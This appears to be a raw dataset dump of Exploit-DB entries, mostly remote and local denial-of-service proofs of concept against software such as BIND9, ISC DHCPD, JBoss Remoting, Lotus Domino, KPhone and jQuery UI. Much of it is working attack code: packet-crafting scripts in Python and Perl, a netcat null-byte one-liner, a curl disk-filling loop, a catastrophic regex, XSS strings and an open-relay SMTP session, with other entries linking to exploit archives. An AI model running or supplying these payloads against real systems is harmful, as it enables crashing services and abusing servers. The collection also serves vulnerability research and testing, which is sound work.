deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37723
Description: ISC BIND 9 - TKEY Remote Denial of Service (PoC)
Type: dos
Platform: multiple
Date: 2015-08-05
Author: elceef

Exploit:
#!/usr/bin/env python

# Exploit Title: PoC for BIND9 TKEY DoS
# Exploit Author: elceef
# Software Link: https://github.com/elceef/tkeypoc/
# Version: ISC BIND 9
# Tested on: multiple
# CVE : CVE-2015-5477


import socket
import sys

print('CVE-2015-5477 BIND9 TKEY PoC')

if len(sys.argv) < 2:
	print('Usage: ' + sys.argv[0] + ' [target]')
	sys.exit(1)

print('Sending packet to ' + sys.argv[1] + ' ...')

payload = bytearray('4d 55 01 00 00 01 00 00 00 00 00 01 03 41 41 41 03 41 41 41 00 00 f9 00 ff 03 41 41 41 03 41 41 41 00 00 0a 00 ff 00 00 00 00 00 09 08 41 41 41 41 41 41 41 41'.replace(' ', '').decode('hex')) 

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (sys.argv[1], 53))

print('Done.')
Exploit-DB #14185
Description: ISC DHCPD - Denial of Service
Type: dos
Platform: multiple
Date: 2010-07-03
Author: sid

Exploit:
#!/usr/bin/env python
# Exploit title: isc-dhcpd DoS
# Date: 03/07/2010	
# Author: sid
# Software Link: https://www.isc.org/software/dhcp
# Version:  4.0.x, 4.1.x, 4.2.x 
# CVE: cve-2010-2156
# ps: is possible make a bruteforce on subnet ip address to find a correct value. 
# 


import sys
import string

if len(sys.argv) is 1:
	print("Usage: " + sys.argv[0] + "-ip=<legal ip in subnet>")
	print("Example: " + sys.argv[0] + " -ip=192.168.1.100")
	sys.exit(0)

for i in range(len(sys.argv)):
	if string.find(sys.argv[i],"-ip") is 0:
		globals()['ip'] = sys.argv[i].split('=')[1]

from scapy.all import *

globals()['verbose'] = 2

def msg(string, level):
    if globals()['verbose'] >= level:
        print(string)

msg("attack...",2)
p=(Ether(src="aa:aa:aa:aa:aa:aa",dst="ff:ff:ff:ff:ff:ff")/IP(dst="255.255.255.255")/UDP(sport=68,dport=67)/
BOOTP(ciaddr=globals()['ip'],chaddr="\xaa\xaa\xaa\xaa\xaa\xaa")/
DHCP(options=[("message-type","request"),("client_id",""),("end")]))

if p:
	p.show()
sendp(p)

#EOF
Exploit-DB #27212
Description: Isode M-Vault Server 11.3 - LDAP Memory Corruption
Type: dos
Platform: multiple
Date: 2006-02-14
Author: Evgeny Legerov

Exploit:
source: https://www.securityfocus.com/bid/16635/info

Isode M-Vault Server is prone to a memory corruption. This issue may be triggered by malformed LDAP data.

The exact impact of this vulnerability is not known at this time. Although the issue is known to crash the server, the possibility of remote code execution is unconfirmed.

The vulnerability was reported for version 11.3 on the Linux platform; other versions and platforms may also be affected.

This vulnerability will be updated as further information is made available.

./run.py localhost 389 3102 1
Exploit-DB #24793
Description: JanaServer 2 - Multiple Remote Denial of Service Vulnerabilities
Type: dos
Platform: multiple
Date: 2004-11-30
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/11780/info

JanaServer 2 is a commercially available proxy server designed for the Microsoft Windows platform. It contains support for services such as HTTP, FTP, email, and RealPlayer streaming.

Multiple remote denial of service vulnerabilities affect JanaServer 2. These issues are due to a failure of the application to handle malformed network communications.

The first issue presents itself when malformed HTTP requests are made to the affected application. The second issue presents itself when the application attempts to process malformed RealPlayer streaming data.

An attacker may leverage these issues to cause the affected proxy server to hang, effectively denying service to legitimate users.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24793.zip
Exploit-DB #18890
Description: Java - Trigerring Java Code from a .SVG Image
Type: dos
Platform: multiple
Date: 2012-05-16
Author: Nicolas Gregoire

Exploit:
SVG is a XML-based file format for static or animated images. Some SVG
specifications (like  SVG 1.1 and SVG Tiny 1.2) allow to trigger some
Java code when the SVG file is opened.

Given that I had to look at these features for a customer, I developed
some PoC codes which are now available online:

http://www.agarri.fr/docs/batik-evil.svg
http://www.agarri.fr/docs/batik-evil.jar

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18890.svg
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18890.jar

I published a more detailed article on my blog:
http://www.agarri.fr/blog/

Regards,
Nicolas Grégoire / @Agarri_FR
Exploit-DB #44099
Description: JBoss Remoting 6.14.18 - Denial of Service
Type: dos
Platform: multiple
Date: 2018-02-16
Author: Frank Spierings

Exploit:
# Exploit Title: Exploit Denial of Service JBoss Remoting (4447/9999)

# Date: 14-02-2018

# Exploit Author: Frank Spierings

# Vendor Homepage:
https://www.redhat.com/en/technologies/jboss-middleware/application-platform/get-started

# Software Link: http://ftp.redhat.com/pub/redhat/jboss/eap/

# Version: JBoss EAP 6.14.18 | Fixed in JBoss EAP 6.14.19

# Tested on: Red Hat Enterprise Linux Server release 7.4 |

# CVE : CVE-2018-1041



This is a very easy Denial of Service exploit. The target only requires 4
null bytes: `\x00\x00\x00\x00`.

The CPU will instantly spike after receiving this payload.



printf "\x00\x00\x00\x00" | nc <target> <port = 4447|9999>

`printf "\x00\x00\x00\x00" | nc 127.0.0.1 4447`
Exploit-DB #24668
Description: Jera Technology Flash Messaging Server 5.2 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2004-10-07
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/11351/info

Flash Messaging server is reported prone to a remote denial of service vulnerability. This issue arises due to the inability of the server to handle exceptional conditions properly. A remote attacker may cause a vulnerable server to crash, denying service to legitimate users.

Flash Messaging server 5.2.0g and prior versions are reported prone to this issue.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24668.tar
Exploit-DB #35339
Description: JourneyMap 5.0.0RC2 Ultimate Edition - Resource Consumption (Denial of Service)
Type: dos
Platform: multiple
Date: 2014-11-24
Author: CovertCodes

Exploit:
# Exploit Title: JourneyMap Disk-space consumption exploit
# Date: 23Nov2014
# Exploit Author: CovertCodes
# Vendor Homepage: http://journeymap.techbrew.net/
# Software Link: http://journeymap.techbrew.net/download/
# Version: 5.0.0RC2 Ultimate Edition
# Tested on: Linux


  JourneyMap (http://journeymap.techbrew.net/) is a mapping mod for 
Minecraft.  It comes included with some modpacks, and is enabled by 
default in the popular Feed the Beast client.  JourneyMap opens a web 
server on the client which is configured to listen on port 8080.  When 
the client is running, a remote, unauthenticated user can have 
JourneyMap save a screenshot of the game to the hard drive by accessing 
a specific URL, consuming hard drive space.  Here's an example:

#!/bin/bash
   while true;
     do
     curl -o /dev/null 192.168.1.1:8080/action?type=savemap&mapType=day
   done

   This works even when the client has paused the game (by pressing 
escape.)  We include mapType=day because the software should refuse to 
save a screenshot if the client user is underground, and the game is set 
on hardcore mode.

   Accessing the URL and triggering a screenshot will display a message 
on the client's screen, which may somewhat lessen the severity of this 
exploit.  Further, it takes a long time to fill up disk using this 
technique.  JourneyMap allows depth and resolution to be specified in
the URL as well, though a few simple tests showed no change despite 
altering these parameters.  If one were able to increase the depth and
resolution of the image, the drive would fill up faster.

   Tested with JourneyMap 5.0.0RC2 Ultimate Edition, but presumed to 
work on other versions as well.
Exploit-DB #49489
Description: jQuery UI 1.12.1 - Denial of Service (DoS)
Type: dos
Platform: multiple
Date: 2021-01-28
Author: Rafael Cintra Lopes

Exploit:
# Exploit Title: jQuery UI 1.12.1 - Denial of Service (DoS)
# Date: 20 Jan, 2021
# Exploit Author: Rafael Cintra Lopes
# Vendor Homepage: https://jqueryui.com/
# Software Link: https://jqueryui.com/download/
# Version: <= 1.12.1
# CVE : CVE-2020-28488

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>DoS - jQuery UI 1.12.1</title>
</head>
<body>
    <h2>DoS - jQuery UI 1.12.1</h2>

    <div>
        <button onclick="exploit()">Exploit</button>
    </div>

    <p>PoC by Rafael Cintra Lopes</p>

    <script src="https://code.jquery.com/jquery-3.5.1.min.js" integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=" crossorigin="anonymous"></script>
    <script src="https://code.jquery.com/ui/1.12.1/jquery-ui.min.js" integrity="sha256-VazP97ZCwtekAsvgPBSUwPFKdrwD3unUfSGVYrahUqU=" crossorigin="anonymous"></script>

    <script>
        function exploit(){
            for (var i = 0; i < 10; i++) {
                $("div").dialog({title:'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'});
            }
        }
    </script>
</body>
</html>
Exploit-DB #24809
Description: Kerio Personal Firewall 2.1.x/4.x - Local Denial of Service
Type: dos
Platform: multiple
Date: 2004-12-08
Author: cesaro

Exploit:
source: https://www.securityfocus.com/bid/11859/info

It is reported that the Kerio Personal Firewall (KPF) driver does not sufficiently sanitize API parameters that are received from API's that are hooked by KPF. When the KPF API hook handles certain parameter data it will fail. Reports indicate that this exception is not expected and as a result, the Windows kernel crashes triggering a system wide denial of service.

A local attacker may exploit this vulnerability to deny service to legitimate users.

_asm{
  xor ebx,ebx
  start:
  mov     eax,ebx
  mov     edx,0x00010001 //writable mem area could be any value
  int     0x2e
  inc ebx
  jmp start
}
Exploit-DB #2515
Description: Kmail 1.9.1 - IMG SRC Remote Denial of Service
Type: dos
Platform: multiple
Date: 2006-10-11
Author: nnp

Exploit:
nnp [at] silenthack.co.uk
http://silenthack.co.uk

Kmail <= 1.9.1 (latest) suffers from a crash when trying to parse an
incorrectly formatted <img> tag. HTML parsing must be enabled for
this. This can be done by going to  Settings -> Configure Kmail
->Security -> and tick Prefer HTML to Plain Text.

Copy the following into your local /var/spool/mail/`whoami` or send a
mail containing the HTML part to cause a crash.

#-#-#-#-#-#-#-#-#-#-#-#-#-#-#

return-Path: <nnp@torvalds>
X-Original-To: nnp
Delivered-To: nnp@torvalds
Received: by torvalds (Postfix, from userid 1000)
       id 2341B7CC25; Sun, 27 Aug 2006 01:03:35 +0100 (IST)
To: nnp@torvalds
Message-Id: <[PII_REDACTED]0335.2341B7CC25@torvalds>
Date: Sun, 27 Aug 2006 01:03:35 +0100 (IST)
Content-Type: text/html
From: nnp@torvalds (nnp)
Status: RO
X-Status: UC
X-KMail-EncryptionState:
X-KMail-SignatureState:
X-KMail-MDN-Sent:


<html>
<IMG SRC=file:"" />
</html>

#-#-#-#-#-#-#-#-#-#-#-#-#-#-#

# milw0rm.com [2006-10-11]
Exploit-DB #7643
Description: Konqueror 4.1 - Cross-Site Scripting / Remote Crash
Type: dos
Platform: multiple
Date: 2009-01-01
Author: StAkeR

Exploit:
+-----------------------------------------------------+
| Konqueror 4.1 XSS / Remote Crash Vulnerabilities    |
+-----------------------------------------------------+
| by athos - staker[at]hotmail[dot]it                 |
| http://konqueror.kde.org                            |
+-----------------------------------------------------+
| Cross Site Scripting                                |
|                                                     |
| applications:/<a href="javascript:alert(1)">Here</a>|
| trash:/<a href="javascript:alert(1)">Here</a>       |
| remote:/<a href="javascript:alert(1)">Here</a>      |
|                                                     |
| you can write anything (example)                    |
|                                                     |
| applications:/<font size="8">THE GAME</font>        |
| applications:/<iframe src="http://milw0rm.com">     |
+-----------------------------------------------------+
| Remote Crash Vulnerabilities                        |
|                                                     |
| remote://crash:konqueror@                           |
| applications://crash:konqueror@                     |
+-----------------------------------------------------+
| Error Details...                                    |
|                                                     |
| A Fatal Error Occurred The application Konqueror    |
| (konqueror) crashed and caused the signal 6(SIGABRT)| 
| Please help us improve the software you use by      |
| filing a report at http://bugs.kde.org. Useful      |
| details include how to reproduce the error,         |
| documents that were loaded, etc.                    |
+-----------------------------------------------------+

# milw0rm.com [2009-01-01]
Exploit-DB #24011
Description: KPhone 2.x/3.x/4.0.1 - Malformed STUN Packet Denial of Service
Type: dos
Platform: multiple
Date: 2004-04-08
Author: storm

Exploit:
source: https://www.securityfocus.com/bid/10159/info

A denial of service vulnerability has been reported in KPhone. This issue may be triggered by a malformed SIP (Session Initiation Protocol) STUN message. This is due to insufficient validation of user-specified STUN packet attribute lengths, causing an out of bounds read and subsequent crash.

It is not known if this condition could be further exploited to execute arbitrary code, though it has been conjectured that it is not exploitable.

#!/usr/bin/perl
 

use IO::Socket::INET;

my $buf = join("", "\x01\x01", # BindingResponse
    "\x00\x01", # MsgLength
    "A"x16, # GUID
    "\x00\x00", # Attribute
    "\x08\x01", # AttrLength
    "A"x7975 # Value
   );

my $remote = IO::Socket::INET->new( Proto => 'udp',
         PeerAddr => '192.168.1.49',
         PeerPort => 5060);

print $remote $buf;
Exploit-DB #25081
Description: LANChat Pro Revival 1.666c - UDP Processing Remote Denial of Service
Type: dos
Platform: multiple
Date: 2005-04-29
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/12439/info

LANChat Pro Revival is reported prone to a remote denial of service vulnerability. It is reported that the issue presents itself when the vulnerable client processes a malformed UDP datagram.

A remote attacker may exploit this vulnerability to crash the affected application effectively denying service to legitimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25081.zip
Exploit-DB #36288
Description: Libc - 'regcomp()' Stack Exhaustion Denial of Service
Type: dos
Platform: multiple
Date: 2011-11-04
Author: Maksymilian Arciemowicz

Exploit:
<?php
/*
source: https://www.securityfocus.com/bid/50541/info

Multiple Vendors' libc library is prone to a denial-of-service vulnerability due to stack exhaustion.

Successful exploits will allow attackers to make the applications that use the affected library, unresponsive, denying service to legitimate users.

The libc library of the following platforms are affected:

NetBSD 5.1
OpenBSD 5.0
FreeBSD 8.2
Apple Mac OSX

Other versions may also be affected. 
*/
?>

<?
/*
PHP 5.4 5.3 memory_limit bypass exploit poc
by Maksymilian Arciemowicz http://cxsecurity.com/
cxib [ a.T] cxsecurity [ d0t] com

To show memory_limit in PHP

# php /www/memlimpoc.php 1 35000000
PHP Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 35000001 bytes) in
/var/www/memlimpoc.php on line 12

Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 35000001 bytes) in
/var/www/memlimpoc.php on line 12

and try this

# php /www/memlimpoc.php 2

memory_limit bypassed
*/

ini_set("memory_limit","32M");

if($argv[1]==1)
$sss=str_repeat("A",$argv[2]);
elseif($argv[1]==2)
eregi("(.?)(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((.*){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){
1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}","a");

?>
Exploit-DB #1801
Description: libextractor 0.5.13 - Multiple Heap Overflows (PoC)
Type: dos
Platform: multiple
Date: 2006-05-17
Author: Luigi Auriemma

Exploit:
# libextractor <= 0.5.13 Multiple Heap Overflow PoC Exploits

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1801.zip   (05172006-libextho.zip)

# milw0rm.com [2006-05-17]
Exploit-DB #30943
Description: Libnemesi 0.6.4-rc1 - Multiple Remote Buffer Overflow Vulnerabilities
Type: dos
Platform: multiple
Date: 2007-12-27
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27048/info

Libnemesi is prone to multiple buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied input.

Attackers can exploit these issues to execute arbitrary code in the context of applications that use the library. Failed attacks will cause denial-of-service conditions.

Libnemesi 0.6.4-rc1 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30943.zip
Exploit-DB #27474
Description: LibVC - '.VCard' 003 Processing Buffer Overflow
Type: dos
Platform: multiple
Date: 2006-03-21
Author: trew

Exploit:
source: https://www.securityfocus.com/bid/17237/info

LibVC is prone to a buffer-overflow vulnerability. This issue is due to a failure in the library to perform proper bounds checks on user-supplied data before using it in a finite-sized buffer. 

The issue occurs when the application handles excessive data supplied with a vcard file.

An attacker can exploit this issue to crash the affected library, effectively denying service. Arbitrary code execution is also possible, which may facilitate a compromise of the underlying system.

The following proof of concept is available:

[example file]
BEGIN:VCARD
VERSION:3.0
F:<bunch of a's>
N:;
END:VCARD
[/example file]
Exploit-DB #30498
Description: Live For Speed S1/S2 - Multiple Vulnerabilities
Type: dos
Platform: multiple
Date: 2007-08-14
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/25327/info

Live For Speed is prone to four vulnerabilities, including buffer-overflow and denial-of-service issues.

Successful exploits could allow attackers to execute arbitrary code or to crash game servers. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33182-2.zip
Exploit-DB #33182
Description: Live For Speed S2 - Duplicate Join Packet Remote Denial of Service
Type: dos
Platform: multiple
Date: 2009-08-23
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/36114/info

Live For Speed S2 is prone to a remote denial-of-service vulnerability because the application fails to handle exceptional conditions.

An attacker could exploit this issue to restart races on vulnerable servers, resulting in a denial-of-service condition.

Live For Speed S2 Z13 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33182-1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33182-2.zip
Exploit-DB #19368
Description: Lotus Domino 4.6.1/4.6.4 Notes - SMTPA MTA Mail Relay
Type: dos
Platform: multiple
Date: 1999-06-15
Author: Robert Lister

Exploit:
source: https://www.securityfocus.com/bid/487/info

Lotus Notes SMTP MTA is susceptible to being used as a mail relay for SPAM or other unsolicited email. Connecting to the mail server (tcp25) and issuing a 'mail from' command with <> as the data may allow an unauthorized user to relay email via this server. 

telnet server 25
Connected to 192.168.1.1.
Escape character is '^]'.
220 company.com Lotus SMTP MTA Service Ready
HELO sample.domain
250 company.com
MAIL FROM:<>
250 OK
RCPT TO:<recipient%remote.domain.net@company.com>
250 OK
DATA
From: ... etc

text of message

.
250 Message received OK.
quit
221 GoodBye
Exploit-DB #27730
Description: Lotus Domino 7.0.x/8.0/8.5 - LDAP Message Remote Denial of Service
Type: dos
Platform: multiple
Date: 2006-04-24
Author: Evgeny Legerov

Exploit:
source: https://www.securityfocus.com/bid/17669/info

Lotus Domino LDAP server is prone to a remote denial-of-service vulnerability when handling malformed requests.

Lotus Domino 7.0 is vulnerable; earlier versions may also be affected.

UPDATE (January 14, 2010): This issue is reported to be caused by a heap-based buffer-overflow vulnerability. A proof of concept is available. Lotus Domino 8.5 Fixpack 1 is also vulnerable.

#!/usr/bin/env python
# lotus_heap1.py
#
# Use this code at your own risk. Never run it against a production system.
# 
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

import socket
import sys

"""
Discovery date: Feb, 2006!!! 

Lotus Domino Server 7 (and probably 8.x, you test if you want to know) 
heap overflow

On Linux Lotus print something like this and exits:
PANIC: OSBBlockAddr: Bad BBlock handle (51515151)

Trigger for this bug is below.

"""

def int2berlen(i):
        e=int2ber(i, signed=0)
        if i <= 127:
                return e
        else:
                l=len(e)
                return chr(0x80|l) + e

def int2ber(i, signed=1):
        encoded=''
        while ((signed and (i>127 or i<-128))
                or (not signed and (i>255))):
                encoded=chr(i%256)+encoded
                i=i>>8
        encoded=chr(i%256)+encoded
        return encoded


def send_req(host,port):
  s = "\x04"
        s += "\x84\xff\xff\xff\xfe"
        s += "\x51" * 40000

        req = ""
        req +="\x02\x01\x01" 
        req += chr(0x20|0x40|0x08)
        req += int2berlen(len(s))
        req += s
                
        msg = ""
        msg += chr(0x10|0x20)
        msg += int2berlen(len(req))
        msg += req

 print "Sending %d bytes to %s:%d" % (len(msg), host, port)

 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sock.connect((host,port))
 sock.sendall(msg)
 sock.close()

 print "Done"

if __name__=="__main__":
 if len(sys.argv)<3:
  print "usage: %s host port" % sys.argv[0]
  sys.exit()

 send_req(sys.argv[1],int(sys.argv[2]))